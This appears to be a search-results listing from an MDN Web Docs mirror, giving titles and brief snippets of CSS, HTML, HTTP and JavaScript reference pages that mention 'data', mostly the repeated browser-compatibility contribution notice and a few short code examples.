browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
<blend-mode> - CSS: Cascading Style Sheets
the <blend-mode> css data type describes how colors should appear when elements overlap.
... syntax the <blend-mode> data type is defined using a keyword value chosen from the list below.
border-bottom-width - CSS: Cascading Style Sheets
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
border-left-style - CSS: Cascading Style Sheets
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
border-left - CSS: Cascading Style Sheets
recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
border-right-style - CSS: Cascading Style Sheets
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
border-right - CSS: Cascading Style Sheets
recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
border-top - CSS: Cascading Style Sheets
recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
border - CSS: Cascading Style Sheets
WebCSSborder
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
box-align - CSS: Cascading Style Sheets
WebCSSbox-align
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
box-direction - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
break-after - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
break-before - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
break-inside - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
clear - CSS: Cascading Style Sheets
WebCSSclear
recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
column-count - CSS: Cascading Style Sheets
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
direction - CSS: Cascading Style Sheets
WebCSSdirection
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
you can see current support in the compat data for the two-value syntax: the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
element() - CSS: Cascading Style Sheets
WebCSSelement
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
empty-cells - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
<flex> - CSS: Cascading Style Sheets
the <flex> css data type denotes a flexible length within a grid container.
... syntax the <flex> data type is specified as a <number> followed by the unit fr.
font-size-adjust - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
font-variant-caps - CSS: Cascading Style Sheets
candidate recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
font-variant-position - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
font-variant - CSS: Cascading Style Sheets
recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
<gradient> - CSS: Cascading Style Sheets
WebCSSgradient
the <gradient> css data type is a special type of <image> that consists of a progressive transition between two or more colors.
... syntax the <gradient> data type is defined with one of the function types listed below.
image-orientation - CSS: Cascading Style Sheets
/* keyword values */ image-orientation: none; image-orientation: from-image; /* use exif data from the image */ /* global values */ image-orientation: inherit; image-orientation: initial; image-orientation: unset; /* obsolete values.
...flip ] examples orienting image from image data css #image { image-orientation: from-image; /* can be changed in the live sample */ } html <img id="image" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="orientation taken from the image"> <select id="imageorientation"> <option value="from-image">from-image</option> <option value="none">none</option> </select> javascript var imageorientation = document.getel...
image-set() - CSS: Cascading Style Sheets
WebCSSimage-set
working draft browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
initial - CSS: Cascading Style Sheets
WebCSSinitial
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
justify-content - CSS: Cascading Style Sheets
if the chosen keyword means that the item overflows the alignment container causing data loss, the item is instead aligned as if the alignment mode were start.
...regardless of the relative sizes of the item and alignment container, and regardless of whether overflow which causes data loss might happen, the given alignment value is honored.
letter-spacing - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
max-height - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
max-width - CSS: Cascading Style Sheets
WebCSSmax-width
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
min-width - CSS: Cascading Style Sheets
WebCSSmin-width
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
mix-blend-mode - CSS: Cascading Style Sheets
candidate recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
<number> - CSS: Cascading Style Sheets
WebCSSnumber
the <number> css data type represents a number, being either an integer or a number with a fractional component.
... interpolation when animated, values of the <number> css data type are interpolated as real, floating-point numbers.
object-fit - CSS: Cascading Style Sheets
candidate recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
object-position - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
orphans - CSS: Cascading Style Sheets
WebCSSorphans
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
outline-color - CSS: Cascading Style Sheets
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
outline-offset - CSS: Cascading Style Sheets
recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
page-break-after - CSS: Cascading Style Sheets
recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
page-break-before - CSS: Cascading Style Sheets
recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
paint() - CSS: Cascading Style Sheets
WebCSSpaint
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
pointer-events - CSS: Cascading Style Sheets
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
position - CSS: Cascading Style Sheets
WebCSSposition
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
<position> - CSS: Cascading Style Sheets
the <position> (or <bg-position>) css data type denotes a two-dimensional coordinate used to set a location relative to an element box.
... syntax the <position> data type is specified with one or two keywords, with optional offsets.
quotes - CSS: Cascading Style Sheets
WebCSSquotes
recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
<ratio> - CSS: Cascading Style Sheets
WebCSSratio
the <ratio> css data type, used for describing aspect ratios in media queries, denotes the proportion between two unitless values.
... syntax in media queries level 3, the <ratio> data type consisted of a strictly positive <integer> followed by a forward slash ('/', unicode u+002f solidus) and a second strictly positive <integer>.
<resolution> - CSS: Cascading Style Sheets
the <resolution> css data type, used for describing resolutions in media queries, denotes the pixel density of an output device, i.e., its resolution.
... syntax the <resolution> data type consists of a strictly positive <number> followed by one of the units listed below.
right - CSS: Cascading Style Sheets
WebCSSright
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ruby-position - CSS: Cascading Style Sheets
working draft initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
<string> - CSS: Cascading Style Sheets
WebCSSstring
the <string> css data type represents a sequence of characters.
... syntax the <string> data type is composed of any number of unicode characters surrounded by either double (") or single (') quotes.
<time> - CSS: Cascading Style Sheets
WebCSStime
the <time> css data type represents a time value expressed in seconds or milliseconds.
... syntax the <time> data type consists of a​ ​​​​​​<number> followed by one of the units listed below.
<transform-function> - CSS: Cascading Style Sheets
the <transform-function> css data type represents a transformation that affects an element's appearance.
... syntax the <transform-function> data type is specified using one of the transformation functions listed below.
white-space - CSS: Cascading Style Sheets
excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p> </div> .box { width: 300px; padding: 16px; border-radius: 10px; } #css-code { background-color: rgb(220, 220, 220); font-size: 16px; font-family: monospace; } #css-code select { font-family: inherit; } #results { background-color: rgb(230, 230, 230); overflow-x: scroll; height: 400px; white...
...excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p> result specifications specification status comment css text module level 3the definition of 'white-space' in that specification.
Index - Developer guides
WebGuideIndex
23 orientation and motion data explained intermediate, mobile, motion, needscontent, orientation, páginas_a_traducir, rotation when using orientation and motion events, it's important to understand what the values you're given by the browser mean.
...it adds metadata and private-use data structures, including predefined fields allowing foundries and vendors to provide license information if desired.
The Web Open Font Format (WOFF) - Developer guides
WebGuideWOFF
it uses a compressed version of the same table-based sfnt structure used by truetype, opentype, and open font format, but adds metadata and private-use data structures, including predefined fields allowing foundries and vendors to provide license information if desired.
... there are three main benefits to using woff: the font data is compressed, so sites using woff will use less bandwidth and will load faster than if they used equivalent uncompressed truetype or opentype files.
HTML attribute: accept - HTML: Hypertext Markup Language
for example, a file picker that needs content that can be presented as an image, including both standard image formats and pdf files, might look like this: <input type="file" accept="image/*,.pdf"> using file inputs a basic example <form method="post" enctype="multipart/form-data"> <div> <label for="file">choose file to upload</label> <input type="file" id="file" name="file" multiple> </div> <div> <button>submit</button> </div> </form> div { margin-bottom: 10px; } this produces the following output: note: you can find this example on github too — see the source code, and also see it running live.
... let's look at a more complete example: <form method="post" enctype="multipart/form-data"> <div> <label for="profile_pic">choose file to upload</label> <input type="file" id="profile_pic" name="profile_pic" accept=".jpg, .jpeg, .png"> </div> <div> <button>submit</button> </div> </form> div { margin-bottom: 10px; } specifications specification status html living standardthe definition of 'accept attribute' in that specifi...
HTML attribute: step - HTML: Hypertext Markup Language
WebHTMLAttributesstep
the number spinner, if present, will only show valid float values of 1.2 and greater note: when the data entered by the user doesn't adhere to the stepping configuration, the value is considered invalid in contraint validation and will match the :invalid and :out-of-range pseudoclasses see client-side validation and stepmismatch for more information.
...indicate any required and optional input, data formats, and other relevant information.
<acronym> - HTML: Hypertext Markup Language
WebHTMLElementacronym
recommendation browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
<content>: The Shadow DOM Content Placeholder element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementcontent
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
<element>: The Custom Element element (Obsolete) - HTML: Hypertext Markup Language
WebHTMLElementelement
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
<listing> - HTML: Hypertext Markup Language
WebHTMLElementlisting
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
<option>: The HTML Option element - HTML: Hypertext Markup Language
WebHTMLElementoption
the html <option> element is used to define an item contained in a <select>, an <optgroup>, or a <datalist> element.
... permitted parents a <select>, an <optgroup> or a <datalist> element.
<p>: The Paragraph element - HTML: Hypertext Markup Language
WebHTMLElementp
see for yourself: <button data-toggle-text="oh no!
...n> </p> css p { margin: 0; text-indent: 3ch; } p.pilcrow { text-indent: 0; display: inline; } p.pilcrow + p.pilcrow::before { content: " ¶ "; } javascript document.queryselector('button').addeventlistener('click', function (event) { document.queryselectorall('p').foreach(function (paragraph) { paragraph.classlist.toggle('pilcrow'); }); var newbuttontext = event.target.dataset.toggletext; var oldtext = event.target.innertext; event.target.innertext = newbuttontext; event.target.dataset.toggletext = oldtext; }); result accessibility concerns breaking up content into paragraphs helps make a page more accessible.
<select>: The HTML Select element - HTML: Hypertext Markup Language
WebHTMLElementselect
it is given an id attribute to enable it to be associated with a <label> for accessibility purposes, as well as a name attribute to represent the name of the associated data point submitted to the server.
... each <option> element should have a value attribute containing the data value to submit to the server when that option is selected.
<style>: The Style Information element - HTML: Hypertext Markup Language
WebHTMLElementstyle
ype html> <html> <head> <style> p { color: white; background-color: blue; padding: 5px; border: 1px solid black; } </style> <style media="all and (max-width: 500px)"> p { color: blue; background-color: yellow; } </style> </head> <body> <p>this is my paragraph.</p> </body> </html> technical summary content categories metadata content, and if the scoped attribute is present: flow content.
... permitted parents any element that accepts metadata content.
<tbody>: The Table Body element - HTML: Hypertext Markup Language
WebHTMLElementtbody
charoff this attribute is used to indicate the number of characters to offset the column data from the alignment characters specified by the char attribute.
... th, td { border: 1px solid #bbb; padding: 2px 8px 0; text-align: left; } then the style is set for the majority of the cells in the table, including all data cells but also those styles shared between our <td> and <th> cells.
<th> - HTML: Hypertext Markup Language
WebHTMLElementth
the end tag may be omitted, if it is immediately followed by a <th> or <td> element or if there are no more data in its parent element.
... charoff obsolete since html5 this attribute is used to shift column data to the right of the character specified by the char attribute.
x-ms-format-detection - HTML: Hypertext Markup Language
the x-ms-format-detection attribute determines whether data formats within the element’s text, like phone numbers, are automatically converted to followable links.
... syntax <html x-ms-format-detection="none"> value all all supported data formats are detected.
Inline elements - HTML: Hypertext Markup Language
conceptual differences in brief, here are the basic conceptual differences between inline and block-level elements: content model generally, inline elements may contain only data and other inline elements.
... list of "inline" elements the following elements are inline by default (although block and inline elements are no longer defined in html 5, use content categories instead): <a> <abbr> <acronym> <audio> (if it has visible controls) <b> <bdi> <bdo> <big> <br> <button> <canvas> <cite> <code> <data> <datalist> <del> <dfn> <em> <embed> <i> <iframe> <img> <input> <ins> <kbd> <label> <map> <mark> <meter> <noscript> <object> <output> <picture> <progress> <q> <ruby> <s> <samp> <script> <select> <slot> <small> <span> <strong> <sub> <sup> <svg> <template> <textarea> <time> <u> <tt> <var> <video> <wbr> see also block-level elements html element refere...
Identifying resources on the Web - HTTP
common schemes are: scheme description data data uris file host-specific file names ftp file transfer protocol http/https hyper text transfer protocol (secure) javascript url-embedded javascript code mailto electronic mail address ssh secure shell tel telephone urn uniform resource names view-source source code of the resource ...
... examples https://developer.mozilla.org/docs/learn tel:+1-816-555-1212 git@github.com:mdn/browser-compat-data.git ftp://example.org/resource.txt urn:isbn:9780141036144 mailto:help@supercyberhelpdesk.info specifications specification title rfc 7230, section 2.7: uniform resource identifiers hypertext transfer protocol (http/1.1): message syntax and routing ...
Basics of HTTP - HTTP
data uris a specific kind of uri that directly embeds the resource it represents.
... data uris are very convenient, but have some caveats.
Configuring servers for Ogg media - HTTP
using preload="metadata" will preload the media file's metadata and possibly the first few frames of video.
...the data in media files is already compressed, so you won't get any real benefit from compression, and the use of compression makes it impossible for the browser to properly seek the video or determine its duration.
Content negotiation - HTTP
the experimental accept-ch lists configuration data that can be used by the server to select an appropriate response.
... compressing http messages is one of the most important ways to improve the performance of a web site, it shrinks the size of the data transmitted and makes better use of the available bandwidth; browsers always send this header and the server should be configured to abide to it and to use compression.
Content-Encoding - HTTP
the recommendation is to compress data as much as possible and therefore to use this field, but some types of resources, such as jpeg images, are already compressed.
... specifications specification title rfc 7932: brotli compressed data format brotli compressed data format rfc 7231, section 3.1.2.2: content-encoding hypertext transfer protocol (http/1.1): semantics and content rfc 2616, section 14.11: content-encoding content-encoding ...
Referer - HTTP
WebHTTPHeadersReferer
the referer header allows servers to identify where people are visiting them from and may use that data for analytics, logging, or optimized caching, for example.
... a referer header is not sent by browsers if: the referring resource is a local "file" or "data" uri.
Sec-Fetch-Mode - HTTP
the sec-fetch-mode fetch metadata header indicates the request's mode.
... header type fetch metadata request header forbidden header name yes, since it has prefix sec- cors-safelisted request header syntax sec-fetch-mode: cors sec-fetch-mode: navigate sec-fetch-mode: nested-navigate sec-fetch-mode: no-cors sec-fetch-mode: same-origin sec-fetch-mode: websocket values cors navigate nested-navigate no-cors same-origin websocket examples todo specifications specification title fetch metadata request headers the sec-fetch-mode http request header ...
HTTP range requests - HTTP
comparison to chunked transfer-encoding the transfer-encoding header allows chunked encoding, which is useful when larger amounts of data are sent to the client and the total size of the response is not known until the request has been fully processed.
... the server sends data to the client straight away without buffering the response or determining the exact length, which leads to improved latency.
HTTP resources and specifications - HTTP
ietf draft rfc 2145 use and interpretation of http version numbers informational rfc 6585 additional http status codes proposed standard rfc 7538 the hypertext transfer protocol status code 308 (permanent redirect) proposed standard rfc 7725 an http status code to report legal obstacles on the standard track rfc 2397 the "data" url scheme proposed standard rfc 3986 uniform resource identifier (uri): generic syntax internet standard rfc 5988 web linking defines the link header proposed standard experimental spec hypertext transfer protocol (http) keep-alive header informational (expired) draft spec http client hints ietf draft rfc 7578 return...
...ing values from forms: multipart/form-data proposed standard rfc 6266 use of the content-disposition header field in the hypertext transfer protocol (http) proposed standard rfc 2183 communicating presentation information in internet messages: the content-disposition header field only a subset of syntax of the content-disposition header can be used in the context of http messages.
206 Partial Content - HTTP
WebHTTPStatus206
the http 206 partial content success status response code indicates that the request has succeeded and has the body contains the requested ranges of data, as described in the range header of the request.
...26012 bytes of partial image data ...
HTTP response status codes - HTTP
WebHTTPStatus
415 unsupported media type the media format of the requested data is not supported by the server, so the server is rejecting the request.
... 416 range not satisfiable the range specified by the range header field in the request can't be fulfilled; it's possible that the range is outside the size of the target uri's data.
Meta programming - JavaScript
handler.get() property access proxy[foo] proxy.bar inherited property access object.create(proxy)[foo] reflect.get() the value reported for a property must be the same as the value of the corresponding target property if target's property is a non-writable, non-configurable data property.
... handler.set() property assignment proxy[foo] = bar proxy.foo = bar inherited property assignment object.create(proxy)[foo] = bar {jsxref("reflect.set()")}} cannot change the value of a property to be different from the value of the corresponding target property if the corresponding target property is a non-writable, non-configurable data property.
Numbers and dates - JavaScript
see also javascript data types and structures for context with other primitive types in javascript.
... date object javascript does not have a date data type.
Character classes - JavaScript
examples looking for a series of digits var randomdata = "015 354 8787 687351 3512 8735"; var regexpfourdigits = /\b\d{4}\b/g; // \b indicates a boundary (i.e.
...do not end matching in the middle of a word) console.table(randomdata.match(regexpfourdigits)); // ['8787', '3512', '8735'] looking for a word (from the latin alphabet) starting with a var aliceexcerpt = "i’m sure i’m not ada,’ she said, ‘for her hair goes in such long ringlets, and mine doesn’t go in ringlets at all."; var regexpwordstartingwitha = /\b[aa]\w+/g; // \b indicates a boundary (i.e.
Text formatting - JavaScript
strings javascript's string type is used to represent textual data.
... '\u{2f804}' // the same with simple unicode escapes '\ud87e\udc04' string objects the string object is a wrapper around the string primitive data type.
Memory Management - JavaScript
cycles are a common mistake that can generate memory leaks: var div; window.onload = function() { div = document.getelementbyid('mydivelement'); div.circularreference = div; div.lotsofdata = new array(10000).join('*'); }; in the above example, the dom element "mydivelement" has a circular reference to itself in the "circularreference" property.
...if the dom element holds a large amount of data (illustrated in the above example with the "lotsofdata" property), the memory consumed by this data will never be released and can lead to memory related issues such as the browser becoming increasingly slower.
Classes - JavaScript
they encapsulate data with code to work on that data.
...on() { return this; } let obj = new animal(); let speak = obj.speak; speak(); // global object (in non–strict mode) let eat = animal.eat; eat(); // global object (in non-strict mode) instance properties instance properties must be defined inside of class methods: class rectangle { constructor(height, width) { this.height = height; this.width = width; } } static (class-side) data properties and prototype data properties must be defined outside of the classbody declaration: rectangle.staticwidth = 20; rectangle.prototype.prototypewidth = 25; field declarations public and private field declarations are an experimental feature (stage 3) proposed at tc39, the javascript standards committee.
TypeError: cyclic object value - JavaScript
examples circular references in a circular structure like the following var circularreference = {otherdata: 123}; circularreference.myself = circularreference; json.stringify() will fail json.stringify(circularreference); // typeerror: cyclic object value to serialize circular references you can use a library that supports them (e.g.
... the snippet below illustrates how to find and filter (thus causing data loss) a cyclic reference by using the replacer parameter of json.stringify(): const getcircularreplacer = () => { const seen = new weakset(); return (key, value) => { if (typeof value === "object" && value !== null) { if (seen.has(value)) { return; } seen.add(value); } return value; }; }; json.stringify(circularreference, getcircularreplacer()); // {"otherdata":123} ...
getter - JavaScript
note the following when working with the get syntax: it can have an identifier which is either a number or a string; it must have exactly zero parameters (see incompatible es5 change: literal getter and setter functions must now have exactly zero or one arguments for more information); it must not appear in an object literal with another get or with a data entry for the same property ({ get x() { }, get x() { } } and { x: ..., get x() { } } are forbidden).
...on getting the property, the property is removed from the object and re-added, but implicitly as a data property this time.
ArrayBuffer.isView() - JavaScript
the arraybuffer.isview() method determines whether the passed value is one of the arraybuffer views, such as typed array objects or a dataview.
...isview({}); // false arraybuffer.isview(null); // false arraybuffer.isview(undefined); // false arraybuffer.isview(new arraybuffer(10)); // false arraybuffer.isview(new uint8array()); // true arraybuffer.isview(new float32array()); // true arraybuffer.isview(new int8array(10).subarray(0, 3)); // true const buffer = new arraybuffer(2); const dv = new dataview(buffer); arraybuffer.isview(dv); // true specifications specification ecmascript (ecma-262)the definition of 'arraybuffer.isview' in that specification.
Float32Array() constructor - JavaScript
the float32array() typed array constructor creates a new float32array object, which is, an array of 32-bit floating point numbers (corresponding to the c float data type) in the platform byte order.
... if control over byte order is needed, use dataview instead.
Float32Array - JavaScript
the float32array typed array represents an array of 32-bit floating point numbers (corresponding to the c float data type) in the platform byte order.
... if control over byte order is needed, use dataview instead.
Float64Array() constructor - JavaScript
the float64array() typed array constructor creates a new float64array object, which is, an array of 64-bit floating point numbers (corresponding to the c double data type) in the platform byte order.
... if control over byte order is needed, use dataview instead.
Float64Array - JavaScript
the float64array typed array represents an array of 64-bit floating point numbers (corresponding to the c double data type) in the platform byte order.
... if control over byte order is needed, use dataview instead.
Function.prototype.call() - JavaScript
var sdata = 'wisen'; function display() { console.log('sdata value is %s ', this.sdata); } display.call(); // sdata value is wisen caution: in strict mode, the value of this will be undefined.
... 'use strict'; var sdata = 'wisen'; function display() { console.log('sdata value is %s ', this.sdata); } display.call(); // cannot read the property of 'sdata' of undefined specifications specification ecmascript (ecma-262)the definition of 'function.prototype.call' in that specification.
Function.length - JavaScript
data property of the function constructor the function constructor is itself a function object.
... its length data property has a value of 1.
Intl.Locale.prototype.collation - JavaScript
it is used whenever strings must be sorted and placed into a certain order, from search query results to ordering records in a database.
...these subtags add additional data about the locale, and are added to locale identifiers by using the -u extension.
JSON - JavaScript
the reviver option allows for interpreting what the replacer has used to stand in for other datatypes.
...by default, all instances of undefined are replaced with null, and other unsupported native data types are censored.
Object.freeze() - JavaScript
for data properties of a frozen object, values cannot be changed, the writable and configurable attributes are set to false.
... > object.freeze(1) 1 // es2015 code an arraybufferview with elements will cause a typeerror, as they are views over memory and will definitely cause other possible issues: > object.freeze(new uint8array(0)) // no elements uint8array [] > object.freeze(new uint8array(1)) // has elements typeerror: cannot freeze array buffer views with elements > object.freeze(new dataview(new arraybuffer(32))) // no elements dataview {} > object.freeze(new float64array(new arraybuffer(64), 63, 0)) // no elements float64array [] > object.freeze(new float64array(new arraybuffer(64), 32, 2)) // has elements typeerror: cannot freeze array buffer views with elements note that; as the standard three properties (buf.bytelength, buf.byteoffset and buf.buffer) are read-only (as are...
Object.getOwnPropertyDescriptor() - JavaScript
a property descriptor is a record with some of the following attributes: value the value associated with the property (data descriptors only).
... writable true if and only if the value associated with the property may be changed (data descriptors only).
Object.getOwnPropertyDescriptors() - JavaScript
a property descriptor is a record with some of the following attributes: value the value associated with the property (data descriptors only).
... writable true if and only if the value associated with the property may be changed (data descriptors only).
Promise.prototype.then() - JavaScript
function fetch_current_data() { // the fetch() api returns a promise.
... return fetch('current-data.json').then(response => { if (response.headers.get('content-type') != 'application/json') { throw new typeerror(); } var j = response.json(); // maybe do something with j return j; // fulfillment value given to user of // fetch_current_data().then() }); } if onfulfilled returns a promise, the return value of then will be resolved/rejected by the promise.
WebAssembly.CompileError() constructor - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.CompileError - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.Global - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.Instance() constructor - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.Instance.prototype.exports - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.Instance - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.LinkError() constructor - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.LinkError - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.Memory() constructor - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.Memory.prototype.buffer - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.Memory.prototype.grow() - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.Memory - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.Module() constructor - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.Module.imports() - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.RuntimeError() constructor - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.RuntimeError - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.Table() constructor - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.Table.prototype.get() - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.Table.prototype.grow() - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.Table.prototype.length - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
WebAssembly.Table.prototype.set() - JavaScript
browser compatibility the compatibility table on this page is generated from structured data.
